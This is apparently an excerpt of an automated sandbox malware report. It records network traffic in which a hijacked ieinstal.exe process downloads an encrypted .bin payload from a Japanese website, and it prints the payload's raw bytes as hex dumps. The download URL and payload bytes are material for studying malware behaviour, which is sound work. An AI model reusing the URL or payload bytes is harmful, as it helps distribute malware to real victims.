                            Data Ascii: ZxQ'i)$wz&uqF 0?Mqg)rg=X}D=4fE4vGt=?)'lzmoD i[<v`s7nrU:soNb(MV#OJ/8Ec-w09@*O*zsB^28WT48;>*6cu.
                            2022-01-21 16:23:00 UTC831INData Raw: 7f 35 f0 1c 07 fb 6c 41 cb f2 10 a4 ab df 70 48 d9 f8 d5 22 48 6a af f2 b0 73 cf 09 74 99 92 77 3d 30 4c e6 0e 82 e9 c4 e8 62 62 80 55 e3 3b 32 76 dc 44 ff 95 5e 23 c0 87 01 e0 70 57 9c 9f 9f b2 cc 71 49 d3 dd a4 64 7d 08 ab 6d 72 4c 1e 33 62 d6 cf 11 b7 77 1f ce 00 07 7c 08 c3 09 57 1f fe a5 3b 5c bf 0a a2 eb 07 f1 a7 5b 6d 01 4d b6 09 7e cf db 2c f4 34 ec 3d 70 11 76 a4 e5 23 44 1a ed 38 63 1b d7 e6 5a b7 49 6a ae 3f 65 f9 a6 6f bc 4b 0c 40 d7 e3 ec 2b 00 d0 fc ba 0a 2e c5 19 62 29 57 17 89 03 1a 7f 8f d9 22 2f a3 ac 6a ee f1 03 22 59 0d 83 86 15 4a d0 de b3 80 7f 8e 54 04 5b 8d 82 ee 1b 00 03 13 e7 f2 8c 61 83 41 78 01 b3 05 45 17 fc 00 af 00 17 41 5e c8 b8 57 d8 30 11 48 31 cc 6f ba 86 25 82 ce fb 81 13 89 f0 16 d0 52 21 61 0c 34 64 9f 4a 5e 88 d6 b4
                            Data Ascii: 5lApH"Hjstw=0LbbU;2vD^#pWqId}mrL3bw|W;\[mM~,4=pv#D8cZIj?eoK@+.b)W"/j"YJT[aAxEA^W0H1o%R!a4dJ^
                            2022-01-21 16:23:00 UTC847INData Raw: 88 20 2d f4 64 e8 0a 7f 83 e7 29 6c de 44 c7 99 de e5 13 00 90 e2 c5 21 f3 bc 93 f4 82 cc 0f 1f c8 3c 8a 72 41 60 5f 96 60 f0 15 07 ea 44 82 f9 b5 12 16 37 59 42 3b e3 24 c5 6e 70 92 0b b8 af 30 2a 4b 00 02 66 62 bd f6 a6 3e dc 26 02 bf dd 00 21 cc 5d ed d4 5e 6a e9 c7 07 dc 00 10 b3 08 69 c9 e3 ba aa aa 10 3b bf fa 2a 65 ee d0 d8 06 97 bb 41 35 21 25 f6 d0 6e 3e c1 7e e4 56 70 35 1c 5d 73 fc 5c 6e 93 f3 93 f9 59 4c 8a 95 76 1a e4 94 90 6a fc 53 0d 97 5f f2 ec 19 2f e4 c1 56 d2 96 7b aa e9 30 63 29 f6 97 83 e7 c9 26 b6 30 c7 49 bb 5d ba 7e 4f d0 4d 8b 83 f1 9f 89 84 93 15 59 0a 5a c0 a8 9d da 68 d5 cf 62 e7 71 93 f7 f5 27 d7 0e ec ea 84 93 99 1e 20 be 73 00 09 b5 d7 21 3a f9 db 99 d0 11 b0 f6 74 8b 10 89 d1 8c 78 7d e7 1e fb bb aa ff 16 a1 87 b0 f7 f1 53
                            Data Ascii: -d)lD!<rA`_`D7YB;$np0*Kfb>&!]^ji;*eA5!%n>~Vp5]s\nYLvjS_/V{0c)&0I]~OMYZhbq' s!:tx}S
                            2022-01-21 16:23:00 UTC863INData Raw: 77 67 28 60 24 e6 2e d6 0a 64 73 e7 c7 e5 d5 30 26 19 01 f2 47 59 95 d4 7d a1 8b 63 b2 b7 69 81 67 32 6d 0f 2f 3b 00 06 f8 35 a9 95 7e 36 50 42 8e 0a df 0e 7b f7 30 ca b7 73 9d 36 77 86 9b ca cf 74 49 53 4a 6a f1 4e 89 46 00 5b 88 e0 9d 71 15 e7 cd 29 49 77 be aa ab 5a c1 8e 72 23 76 72 84 9d 78 0d 1d 7a 34 3e f2 75 04 a6 0f e8 e3 78 46 80 6a 9b 7e f9 94 69 73 01 1d fb a8 39 73 b6 24 b7 19 b3 4e fb c2 20 94 1b 3e af 40 9f be 93 64 8e fc 06 8b f6 35 89 09 f4 56 7d 48 3d 30 4c e6 8e 4c 06 fb e8 62 62 80 d5 2e d4 0d 76 dc 44 ff 15 92 cc ff 87 01 e0 70 d7 57 70 a0 b2 cc 71 49 53 17 4b 5b 7d 08 ab 6d f2 85 f1 0c 62 d6 cf 11 37 bf f0 f1 00 07 7c 08 43 ce b8 20 fe a5 3b 5c 08 8a 0b 92 41 b7 e1 1d ab 82 e4 cf 4f 38 89 9d ea 76 9d 95 7b 36 57 30 13 60 8a 3d 5c ab
                            Data Ascii: wg(`$.ds0&GY}cig2m/;5~6PB{0s6wtISJjNF[q)IwZr#vrxz4>uxFj~is9s$N >@d5V}H=0LLbb.vDpWpqISK[}mb7|C ;\AO8v{6W0`=\
                            2022-01-21 16:23:00 UTC879INData Raw: e8 81 68 9b 3a b7 96 5b 46 9f 8d 1e b3 16 20 38 cd 65 9f ab d5 2a a1 7d b0 93 35 d4 66 cb a9 a4 5f 2a a7 b6 77 10 ae 3c a8 65 76 09 a7 af 26 bd 6f 22 12 c3 9e d9 7d e7 07 e5 cf 89 e2 29 8b 7b 6a 9f 47 2c 9a 0d c5 39 9b e8 b9 e4 7a 99 f5 d1 b6 4b 8b 5e 13 ca 3c c8 d1 31 d3 e0 3e bc 87 b3 cc 30 0f 16 80 93 02 f2 ce dd 9d 15 e0 ee 2f 95 5c c8 97 d3 a1 08 5f 2d ae 33 bc ee cf be 63 5f 79 55 ab 6f 7f ed e7 5d 2f 3f 04 a2 99 ac e5 60 54 69 a4 aa 23 9d bc cf 94 40 8a 7a 87 31 7a d6 72 41 60 5f 5a f8 b6 7a 07 8c 44 f6 06 3d ed 88 37 2b 42 5e ef 78 c5 23 18 c2 48 db af 42 2a 24 fe 8e 99 f2 bd 90 a6 4a 0c 85 fd 17 dd 69 21 a2 a3 76 2b ce 6a 9e c7 74 b0 24 53 f0 08 1c c9 91 44 27 55 8a 3b d1 fa 5e b5 47 2f 42 06 e5 bb 32 cb b7 da 66 d0 00 3e 9d 92 cc 15 1f 35 70 5d
                            Data Ascii: h:[F 8e*}5f_*w<ev&o"}){jG,9zK^<1>0/\_-3c_yUo]/?`Ti#@z1zrA`_ZzD=7+B^x#HB*$Ji!v+jt$SD'U;^G/B2f>5p]
                            2022-01-21 16:23:00 UTC895INData Raw: bd 12 71 32 04 95 a5 0c 4d 69 60 fe 79 4d a5 f0 17 0a 98 df 5b b3 ca c7 fd c8 76 07 3c 6f 5d 0f b9 51 54 40 51 7b d1 33 e5 18 8e e6 eb 70 d3 20 80 5d 7c b2 7d 5d 17 18 f0 0a 16 30 5d e9 2b 5b 53 48 01 48 12 78 4b af 92 74 ca 39 84 90 c8 1b 88 42 a5 1a 93 6d 7a 9a 2a 93 35 72 7d f2 50 fd 12 09 5d 75 47 d3 d7 db 68 7e 6f 4d 4d 59 04 80 31 bb dd 6a a6 31 1d 23 84 a9 8a b9 13 77 67 28 60 24 e6 2e 29 93 64 8c cd e1 cc 2a 30 30 19 fe f6 69 51 6a d4 64 a1 74 69 ec a0 96 81 69 32 92 0f 2f 3b ff 06 f8 35 56 95 7e 36 84 c3 8a 0a 01 0e 7b f7 cf ca b2 73 62 36 a6 86 64 ca ce 74 b6 53 54 6a 0e 4e 8d 46 ff 5b d8 b2 2b 48 24 a1 01 fa 9b 46 41 aa ab 5a c1 8e 45 65 30 34 c2 db 3e 4b 5b 3c 72 87 2d 33 bd c8 61 88 5a 30 72 e2 d3 d3 3c a1 2d 2a 7f 4c a4 fa 11 f2 ca f0 39 87
                            Data Ascii: q2Mi`yM[v<o]QT@Q{3p ]|}]0]+[SHHxKt9Bmz*5r}P]uGh~oMMY1j1#wg(`$.)d*00iQjdtii2/;5V~6{sb6dtSTjNF[+H$FAZEe04>K[<r-3aZ0r<-*L9
                            2022-01-21 16:23:00 UTC911INData Raw: 71 19 3e 05 60 96 e5 9c 01 2a f6 f7 48 90 6c 8a e7 c5 3b 51 44 0a 07 0b 96 1f 0e a8 88 d5 a7 2c f0 84 99 df 50 56 f9 45 cd 28 77 72 18 fc 21 a5 55 b6 59 dd 48 1b 04 14 e1 8b 2c 62 c9 ad d5 b2 88 d3 6f 78 a1 79 48 66 77 a5 78 61 6b 79 a5 bb 6b 89 75 ee e7 93 34 bc 5f 58 11 e9 14 be 5f 98 e8 2a cc 79 a2 e9 3e 55 94 74 8e 4a ad 1d 24 ad d9 79 0d 93 d3 51 7c 53 f7 d8 a5 6e f4 e2 d3 a0 d3 91 63 c8 9d d2 c2 1b c9 24 c0 7f de 1a 20 43 e1 45 58 d8 0c b4 64 4e 03 28 15 30 f2 2a 3b a9 4c f4 5a 13 8a 73 77 b3 4a ce 31 e3 f7 8b c3 6d 0c 21 55 11 b3 7f 3e 0d aa 57 03 6d 62 bb 84 2a b5 43 44 1d c7 14 d0 ca e2 44 4f 45 38 b5 32 cc fd 1f da 20 d7 73 3d 22 1d e3 05 29 ee f1 af 95 f9 20 22 76 97 b4 00 8b 18 66 b0 dd d2 a8 e1 f1 47 4f 55 cf 63 63 f5 cf 78 63 b9 a6 26 8d 01
                            Data Ascii: q>`*Hl;QD,PVE(wr!UYH,boxyHfwxakyku4_X_*y>UtJ$yQ|Snc$ CEXdN(0*;LZswJ1m!U>Wmb*CDDOE82 s=") "vfGOUccxc&


                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            2192.168.2.34975952.68.15.223443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            TimestampkBytes transferredDirectionData
                            2022-01-21 16:23:10 UTC927OUTGET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1
                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                            Host: www.wizumiya.co.jp
                            Cache-Control: no-cache
                            2022-01-21 16:23:11 UTC927INHTTP/1.1 200 OK
                            Date: Fri, 21 Jan 2022 16:23:10 GMT
                            Server: Apache/2.4.18 (Ubuntu)
                            Last-Modified: Wed, 19 Jan 2022 23:42:09 GMT
                            ETag: "73c40-5d5f7ef2420e7"
                            Accept-Ranges: bytes
                            Content-Length: 474176
                            Connection: close
                            Content-Type: application/octet-stream
                            2022-01-21 16:23:11 UTC927INData Raw: d5 08 c2 f6 f6 5d 65 04 ba ad 0d 47 ba 23 ec e6 32 ce 4c a3 9e 67 e9 1a d8 d3 ba 9e f4 4f 77 38 49 52 d4 92 5b 33 e6 87 34 f6 f3 70 d2 79 af fb 71 cf e5 05 d0 13 3b 2e ec ad a8 44 32 f7 a2 6a 32 d5 49 22 6c ac 5c 55 ea f1 03 22 a6 fd 73 b9 ad 4a d0 de 73 8e 8f b1 14 04 5b 8d 02 e0 eb 3f 03 13 e7 f2 cc 6f 73 7e 78 01 b3 05 45 19 0c 3f af 00 17 41 9e c5 48 68 d8 30 11 48 b9 c0 9f 85 88 3a 38 c0 bb 38 ea 7b d1 ae d1 1e ec 4d a8 63 0d ec 6a 2e 3a b5 23 a7 3e 7b 5e f4 05 60 e0 ba 2f 5b c4 ab 3e 81 63 4e 18 a4 0b bf ef 9a 79 81 10 a8 cc 13 fa 94 39 5c 7f 5f 2a a7 b6 88 ef 51 d1 55 18 42 5f 3b bc 41 eb f3 31 75 95 03 ca 1a 05 06 07 a8 cd b2 b5 aa 99 48 7a b3 c1 04 1e a2 db 47 86 98 ac e7 8a 92 8e be 53 aa 09 8f d9 5b 00 ed e5 b4 b4 a2 af e0 de 0f 20 69 5a 1c 80
                            Data Ascii: ]eG#2LgOw8IR[34pyq;.D2j2I"l\U"sJs[?os~xE?AHh0H:88{Mcj.:#>{^`/[>cNy9\_*QUB_;A1uHzGS[ iZ
                            2022-01-21 16:23:11 UTC943INData Raw: 28 77 13 69 50 62 65 f9 1a d1 32 5f 44 a8 d4 34 8d 4e 99 96 91 51 1f 35 1a 5d 97 b1 db 86 17 f5 f6 f9 a1 03 fa ff 37 93 94 19 ad 8e 78 8d 64 97 2d 98 81 94 10 00 14 66 68 44 08 aa 87 bb 72 21 7f 9f 0e a2 99 76 52 7d 4d a1 d2 b5 31 81 ae af 20 8b 9a d0 db 89 7f de 93 b1 24 82 3f 57 cd 57 71 31 42 02 59 8e 1c a7 0a 50 d3 f1 ae f6 93 d6 fa 95 a2 55 2e 6a 86 4a d4 51 eb ec 38 db f9 11 84 7b 5c 6f 88 bb 29 73 b6 2d 5a 53 2f 53 af 2c e3 5e 0c ff a7 7a 83 c2 e2 34 13 71 94 5d 6a d2 83 c6 99 9f 14 bc 62 8d 0f 70 c3 7c c8 13 60 35 38 70 85 7a ef 7c bc a2 f0 e6 da 92 1e 25 07 8c 0e c6 27 e4 92 07 21 85 88 0b a4 fc 32 7c 5d 63 cc 9a f5 e9 b8 31 16 3e 14 11 0d 01 3c 47 70 1a af e7 78 41 89 c8 78 9d 6d 89 42 fc bc 6c 1a 16 ee da 6c 20 25 3f b7 50 89 d4 e2 4c e0 47 2c
                            Data Ascii: (wiPbe2_D4NQ5]7xd-fhDr!vR}M1 $?WWq1BYPU.jJQ8{\o)s-ZS/S,^z4q]jbp|`58pz|%'!2|]c1><GpxAxmBll %?PLG,
                            2022-01-21 16:23:11 UTC959INData Raw: c0 3f cf a5 41 fe 28 70 04 2e 19 7a b6 40 52 51 7f 47 2f a8 63 3a 3d a0 91 c9 35 6b 5d 6c 0d ef 5b 5d 32 60 62 71 ba 90 22 45 f7 48 25 41 e1 30 f6 aa 0b bf 50 3d 91 14 02 c8 4c 0d fe b4 86 24 80 86 78 83 86 87 d3 c0 68 15 92 cc cc 5c 89 be 49 84 3f f0 a0 b2 cc 1b 4a 00 7d 4c 33 7d 08 ab ed 4b 95 15 4a 62 3e 7d 83 c8 40 a0 0e 15 c3 3e 4d 43 45 40 a3 01 5a 4f 62 6c 9b b2 c1 33 b3 e2 5b d6 d9 fe 6d 4f 7e bd fe db 38 e0 d6 65 94 57 76 56 3d 0a 3d 23 ec 00 3d d2 61 0e ee 79 a1 37 a7 bf a4 7e 89 48 bc 4b f3 55 73 51 96 2b 57 2f e9 c6 47 9b fa f2 61 a1 09 ae 06 8d 1c 7e fb 48 1a 31 e5 29 4b 6e cc c7 eb 1f 02 42 cc 00 c9 3c c6 fe c8 ef 3a 98 54 b3 9a ea 1f 14 b4 cd fb 32 08 33 90 2c 20 23 c2 e6 8e a9 9a e8 c7 2e ec 73 45 9e c5 1b e3 01 66 46 c5 c2 c5 f7 0d 95 25
                            Data Ascii: ?A(p.z@RQG/c:=5k]l[]2`bq"EH%A0P=L$xh\I?J}L3}KJb>}@>MCE@ZObl3[mO~8eWvV==#=ay7~HKUsQ+W/Ga~H1)KnB<:T23, #.sEfF%
                            2022-01-21 16:23:11 UTC975INData Raw: 38 c4 24 ea 08 cd 7c 6a 73 ba 24 08 b9 e0 4f 7e af 33 e2 19 9b bb 20 6c 2f 93 28 1b 7c be 18 8d 3f db 17 ca 66 7c a5 60 53 aa 1d 7d a1 a0 fe 12 b2 d0 cc 0e 13 f5 6f 85 1a 44 9b 1f 96 60 a3 85 d0 0c 79 b5 24 84 12 77 43 27 11 0d b0 10 e6 23 31 fb 58 88 50 95 8b e4 c9 37 66 26 7e e4 8f c9 34 7b 77 8a b5 8d 35 e4 5d 62 f6 59 02 8a 81 74 57 92 f8 a0 5b e3 36 1a 6a 30 79 35 3b d1 a3 d5 29 9c c0 55 8d d4 bb 32 5d 84 31 df d0 8d 72 b9 62 5c 76 4b ca 8f de f6 e4 85 ba ee b5 f6 72 e6 1c 3e 19 b4 e5 63 17 0c 7e 1b 9f 0a af 2b b4 89 f1 5c b0 62 a9 68 60 a7 aa 87 b3 fb 19 7b db a7 ff 7d 15 8c cf 56 a1 f6 0b ce 7e e2 86 ac fa 87 7a 7f 61 3a 9b 77 59 f2 94 9e 41 40 c9 3c d5 ff e9 66 f0 0f db f1 27 d7 8d de 16 d7 c0 ac 97 1f 4a 97 4d 85 e2 4b 4e bd f9 88 12 c1 ed 5c b3
                            Data Ascii: 8$|js$O~3 l/(|?f|`S}oD`y$wC'#1XP7f&~4{w5]bYtW[6j0y5;)U2]1rb\vKr>c~+\bh`{}V~za:wYA@<f'JMKN\
                            2022-01-21 16:23:11 UTC991INData Raw: 97 6b 23 f2 7b 2a f2 89 85 30 49 56 4d 33 2f f8 09 e4 86 51 19 64 98 d7 ea e7 bd a5 33 57 a7 26 6c 2b b4 58 75 da 49 53 9a 46 59 95 54 82 b4 c3 23 f7 b7 ec 41 12 18 3b 65 2b b6 45 0a a8 5f ad ff 7e c9 0e cb 75 7f 02 f1 6e 93 70 8f b2 8c e8 ca 2d 76 64 df 82 34 0c 53 d1 9c af 41 19 86 eb 59 ea 72 5f d9 0d 16 ab 9b f3 17 33 ef 57 0a 93 df ba 70 40 74 87 db bb 8b 2e 16 24 12 b0 be 07 ec 19 c4 a1 54 00 39 59 d5 b6 ca 2e d0 20 27 1b f8 ee 80 40 0c 97 77 d6 96 32 8b b7 10 21 dd 50 90 e3 19 13 d7 10 08 31 a5 90 73 26 44 e5 a5 db 38 b4 6d 62 1d 19 9b 3c 46 be e8 e7 a2 f5 ff 78 be 05 fb 99 48 af 7f 99 a6 ff 78 74 e8 8f a2 ab 8f b5 d2 8c 34 49 ac 62 b7 d0 8d f7 be 21 b2 c0 f1 89 94 88 c0 85 f7 54 f2 c3 c0 8c 99 55 80 9b 33 cc 7f 49 23 58 3f cc c0 59 ef 0a 58 a4 be
                            Data Ascii: k#{*0IVM3/Qd3W&l+XuISFYT#A;e+E_~unp-vd4SAYr_3Wp@t.$T9Y. '@w2!P1s&D8mb<FxHxt4Ib!TU3I#X?YX
                            2022-01-21 16:23:11 UTC1007INData Raw: fe 8c 68 4e a7 9f ad a2 e6 6b fb 0b 65 9f b5 28 4c 25 51 f1 1e 53 7e 12 a4 01 0a f5 5a 7b a6 a4 1e 99 12 ad 7d 31 35 14 2c 71 2a a1 7d 44 68 7e 84 66 02 a9 4e 73 6b e2 b6 0d 2f 5e 47 56 65 76 09 2c ea da 86 2c 16 67 ca cf 26 4b 18 13 fd 12 cf 2e cc 8d 13 48 aa d4 35 67 7e 95 c6 34 53 00 d2 84 8c dd 90 1f c4 44 1b ff 4f fc c7 55 fc d3 e0 3e 37 fa 47 a7 30 f0 65 d4 c4 52 0d 06 dd 77 f6 a1 ab 2f 10 4c 38 ec 9f a1 08 5f ae 35 34 43 22 86 9b 1b 1c f2 65 a0 5c ad 64 b2 a9 e7 c7 78 a1 53 c6 e5 9f b4 c0 ea ab 21 9d 37 4b cd dc cd 7a 1f a5 fb 86 f9 c5 59 5b 97 33 f0 79 42 60 14 09 cf 3d 07 6b 76 6e 42 d5 ae 80 4e 76 84 ba 04 6c ec 44 a9 e6 28 f8 2b f5 34 c5 52 71 14 06 bf 63 98 95 ac e9 69 02 a9 c1 51 9f b3 52 57 db b4 f0 08 1c a3 91 d0 dc fb f6 fb d9 aa a1 53 47
                            Data Ascii: hNke(L%QS~Z{}15,q*}Dh~fNsk/^GVev,,g&K.H5g~4SDOU>7G0eRw/L8_54C"e\dxS!7KzY[3yB`=kvnBNvlD(+4RqciQRWSG
                            2022-01-21 16:23:11 UTC1023INData Raw: 88 12 47 72 b6 2d 81 93 4f 9f 0e ff 1c a1 d7 3d bb d5 03 c2 f1 bf 12 71 46 d4 18 e9 d7 2d 81 5f a5 ea df 91 84 2d 05 57 c8 6e 17 34 38 a4 45 3a 23 64 87 b6 9d 47 ae d9 0c 8a a2 39 2e 48 d9 4e 94 a7 54 fb 37 59 cf 82 b2 f0 11 33 97 18 da 84 31 a2 64 67 80 43 a0 c6 25 ec 87 c0 97 cd 2a 91 4d 61 cd 0b eb 97 42 d8 6f d2 6d fd ef 6b 93 9d 07 3c f2 e2 88 53 09 e1 00 06 d3 bf af 29 7e 00 39 7f 2a 01 f4 9a 3f 88 1e 4a b2 f1 03 d2 fe 01 40 98 85 ea 65 84 cc 8a ba 28 f5 57 ba 6a 82 19 84 61 76 71 01 f6 47 59 c3 85 15 a1 9a 63 b2 48 7c e1 26 77 6d 8a ef 4e 0e 6e cc 32 ef 95 f5 f9 93 32 19 f4 01 e5 64 08 45 36 3f 3e 79 de 83 49 65 35 31 01 b5 ac 41 36 b0 0b 8d cb 45 bf 53 7d 84 d4 c0 46 00 ef 92 0b 5a 42 a0 c9 3f 71 ce a2 6f 6a 49 3e 63 88 0e b7 9e 2e e3 b8 b3 6b 04
                            Data Ascii: Gr-O=qF-_-Wn48E:#dG9.HNT7Y31dgC%*MaBomk<S)~9*?J@e(WjavqGYcH|&wmNn22dE6?>yIe51A6ES}FZB?qojI>c.k
                            2022-01-21 16:23:11 UTC1039INData Raw: 00 08 95 ca 65 6f ce 24 2c 62 fb d7 28 7f ad 29 26 d9 67 a9 7b 98 15 09 34 3d c0 7d ad bf a4 fe 6b 7e 43 b4 8f 84 c3 e4 0b 30 c0 90 3f c2 05 9e fa 19 59 f9 58 d9 44 30 76 29 04 28 2d d8 32 4c 56 ee f1 89 e1 7d 32 4f a9 60 5e 38 1c 8c 71 70 32 ac 05 2f 87 ba ec 15 c0 fc fa 47 f2 cc 6f f9 f0 6f 02 b3 05 c5 e0 c0 4b 44 80 ee 81 ea 23 c8 91 cb 45 f0 47 07 47 87 86 86 25 01 26 ba f9 d5 dc e0 4c ba 5e 79 ab 7a 27 66 9f 4a 59 48 de 44 12 d9 26 7c 97 64 0e ae fd 5b 1d 2f 58 3a f1 16 20 5e 44 f3 b7 a9 d5 2a c7 f4 41 8e 74 d4 99 52 df cd 75 28 a7 b6 08 16 42 b6 32 e5 c8 29 a5 af 26 be 1a 1b 98 45 be db 7d e7 3a e4 bd a6 af 6d cd 5b 48 9a b2 bc 06 1d c6 39 47 5b fd 96 65 18 3e d1 1a c4 cd 38 9a 54 2c cb d1 31 ef e4 4c b1 06 78 cd b0 0f 16 e6 1a 9c e2 33 22 62 d9 20
                            Data Ascii: eo$,b()&g{4=}k~C0?YXD0v)(-2LV}2O`^8qp2/GooKD#EGG%&L^yz'fJYHD&|d[/X: ^D*AtRu(B2)&E}:m[H9G[e>8T,1Lx3"b
                            2022-01-21 16:23:11 UTC1055INData Raw: 83 3e b4 b6 b6 48 25 99 5b 7d 36 18 81 c0 2a 9f 8b 5e 5f 1a fc 3b 1b 89 78 b8 95 a1 9b 55 54 73 f2 60 7b e0 6a 15 93 17 f5 a6 64 0d 19 5d e4 cc db 0d 7e f0 55 78 d8 be 8d f6 97 da 62 55 53 e1 3f 1f cf f9 5f ce 7e a3 5d c9 75 10 0e e1 da 98 95 2d b1 08 f8 c0 a8 c4 83 b9 15 df 43 e0 51 68 20 78 aa 3f f0 44 15 3f 14 59 1e 52 e7 9f c0 0c b8 28 f6 99 74 60 67 43 ee 3d 49 b2 8b 60 02 bc 80 cc b4 a3 18 0c ba ba ff 1c a1 d8 ee ac 7a b6 77 49 e8 99 9d 4c e8 79 a5 f3 4d 3a 36 56 27 df 43 fe 7e f3 90 23 2e b6 a0 c4 a6 23 56 8d ba 7f 5e 0f b9 62 9d 64 9e de c1 c3 4f e6 82 d9 68 0d db de 8f c9 bc 7e a6 66 df e8 64 c9 55 85 de 03 2a ab d7 c0 00 b7 12 fb a1 51 9d f0 9e c7 84 90 4b 0e 89 37 8b 13 50 6c 0e 77 a7 c5 39 06 b3 1a 9e ff ed f6 d8 4a 48 56 e6 25 68 7e 99 71 3c
                            Data Ascii: >H%[}6*^_;xUTs`{jd]~UxbUS?_~]u-CQh x?D?YR(t`gC=I`zwILyM:6V'C~#.#V^bdOh~fdU*QK7Plw9JHV%h~q<
                            2022-01-21 16:23:12 UTC1071INData Raw: 2d 81 3f a1 df 49 bf a7 24 8d 87 61 fb ee b8 33 f8 1c 87 29 dd f5 2e af d3 34 4e 47 dd 77 58 b1 97 22 5f f3 02 cd 72 3a 8d 09 20 1f 3f 48 e9 7b 0e e6 8b 06 44 fb 58 28 20 80 16 64 96 0d a9 96 06 ff e7 d8 8e ff dc 4a a2 70 ab 1c 32 a0 1e 87 33 49 3e 5c 09 5b bc 43 e9 6d a7 0e 1d 5d 33 80 44 e3 bc b9 79 b4 f8 47 47 4d 4f b8 bf 98 82 5a c4 a3 d4 82 b2 a1 0b 7c e2 a4 bd 49 f7 71 e1 6b 37 24 53 b3 1f db b8 b0 65 71 9c 52 33 84 e5 06 09 e3 e6 ea 0f 11 b0 f1 1a 51 40 5b fd bd 90 c9 47 81 05 cb 43 5e 7e f8 38 a9 8d fa 21 a3 40 e7 e9 2f 40 0d be 2d f4 ca d5 ab 6e 27 19 ad 67 f7 30 e2 07 89 96 e4 d6 1f 5b 32 22 df dc 3a 96 8f 82 db 89 95 e3 b2 56 ef b0 0d b9 7f fa 3b 80 32 4c 8e 45 90 49 c3 22 45 1f 11 17 fb a0 01 27 cf ee 11 e8 44 5f f0 db ae d7 32 30 c1 eb 33 39
                            Data Ascii: -?I$a3).4NGwX"_r: ?H{DX( dJp23I>\[Cm]3DyGGMOZ|Iqk7$SeqR3Q@[GC^~8!@/@-n'g0[2":V;2LEI"E'D_2039
                            2022-01-21 16:23:12 UTC1087INData Raw: 59 8c 37 68 a1 e4 f8 d4 fe 00 41 0c 31 ae 33 0f 5f f4 9d 18 36 fa 1b e8 d8 df 88 44 a2 14 f9 05 ed 4d 09 0a 4d 6b 9d bc 44 04 55 3a 75 9a 38 3c d6 72 cc 25 bf 1d e0 a0 f1 cf 64 12 c1 f9 c2 99 87 6e ae b4 51 66 fe c5 23 70 76 4e 2b ff cf 7f c4 8b b9 8e e9 f7 90 a6 c1 2c 23 87 1e a8 18 ac e7 ad 02 07 61 e1 56 2f 5d eb 5c 10 7b f8 45 4c 67 cf 85 fd f8 6e 31 71 91 8d 06 9a bd 06 6e 4b 6b b0 be 50 d2 2f 75 36 ce 29 5c b5 5a 35 70 d6 ea 7f fb 62 7f 05 83 c1 a7 0b c6 c5 be 4f 6c 1f 28 82 06 19 62 97 a6 02 d0 9c ab 91 be a9 f5 9e 83 ed 97 63 6f c1 4e d2 83 e7 1e d6 5c f4 a5 cc 3e 28 c3 4d fc 5d 6e ab ad 19 25 bf f2 93 fc a9 f4 17 30 40 d3 fd 3c d5 27 2f 6a 99 a5 d0 f5 27 5c c8 50 ef 6f c5 05 e1 ad e1 44 5b f2 50 fe e2 41 72 64 c8 ed ee a0 fe f9 f8 9e 76 0e d5 10
                            Data Ascii: Y7hA13_6DMMkDU:u8<r%dnQf#pvN+,#aV/]\{ELgn1qnKkP/u6)\Z5pbOl(bcoN\>(M]n%0@<'/j'\PoD[PArdv
                            2022-01-21 16:23:12 UTC1103INData Raw: 44 9e c7 54 d0 52 ba 58 c7 f8 6e 01 fc d7 37 ee 6d 94 1f 25 53 85 cb 84 77 6a 4a 21 28 cf d9 1a c9 7b 0a a1 c4 57 bc 51 06 f6 66 4a 96 7e 8f 3b 66 0f 2f b0 f0 5f 7d c3 a6 10 60 34 7b c3 75 7f 0e 59 84 82 c8 35 e7 7b 16 c6 25 42 97 4f 38 7b cc 54 56 6a f1 c5 c8 b2 8b 16 20 f2 57 fd 40 5c bb e4 96 0b 46 91 68 26 7a 05 00 bd 03 e6 e3 8e c6 8c 1e c8 73 78 b4 33 c9 e0 01 27 e0 da 33 06 1f 2b a0 9b d3 2f 35 cc 0e 5d 6d 12 c1 f1 69 a0 aa fe 9a 34 fd 94 86 2a 0e 9f fc 9c 20 5e 77 2c 7d 05 39 ac 73 cf 09 7f 16 71 c3 39 a0 06 6f cb b4 8d be 00 eb 37 64 5e 7b 2c dc 13 24 85 15 0e 11 2e fe 04 7c 00 70 a2 53 f5 72 c6 76 f2 34 b3 16 3e 65 f8 da de 57 7f d0 39 87 a8 3e e1 1b 37 bf 7b 01 85 f1 73 8d 32 cf b8 20 01 d0 cb d1 7a 04 1a 84 f8 a4 af d0 1d 47 66 85 8c 88 c0 5e
                            Data Ascii: DTRXn7m%SwjJ!({WQfJ~;f/_}`4{uY5{%BO8{TVj W@\Fh&zsx3'3+/5]mi4* ^w,}9sq9o7d^{,$.|pSrv4>eW9>7{s2 zGf^
                            2022-01-21 16:23:12 UTC1119INData Raw: 47 01 a2 ba 0b ed 82 56 90 0e da cd e0 47 d8 38 97 ed 33 9a 1b 1d 7b c0 42 0b b3 d8 66 38 ab e9 92 9f 1b 6c a1 1b 4b b5 66 1a df 34 30 d7 5a 26 69 f0 88 89 dd e6 a0 ab 30 09 c1 23 0b b9 a1 64 12 5f 10 dc 45 29 40 e5 44 cc 2e 05 e1 b5 0e 9a 5f 70 9c ae f5 f7 01 67 72 a1 73 3a c9 1f 1c c4 46 db f7 36 c3 37 70 01 1d a6 3e 1f b3 7e 8b 30 c8 13 a8 5e 44 f2 39 26 62 2a 27 eb 03 58 ca 37 69 2c a1 08 98 28 68 01 05 11 47 fd 20 5f 9e 12 b0 04 bf ed 6c 10 64 01 cc 9e 54 ea e5 08 a4 bf a7 aa c9 98 42 30 0b 5b 29 27 dc f3 b7 3a 24 be 15 57 1d c2 18 e4 ad 71 bb 31 ff 7e 54 32 37 a0 84 00 be ba c1 23 25 70 e7 8a f9 bd 5f 2c 8b 80 ef 78 41 78 8d e0 21 85 c5 ee 61 2f 64 a2 d6 4f 8a ba 8f c3 05 70 dc 09 9b 1c 5e e3 bc 99 31 29 42 17 91 2c 05 99 63 08 96 f8 06 6e 7d 6c 68
                            Data Ascii: GVG83{Bf8lKf40Z&i0#d_E)@D._pgrs:F67p>~0^D9&b*'X7i,(hG _ldTB0[)':$Wq1~T27#%p_,xAx!a/dOp^1)B,cn}lh
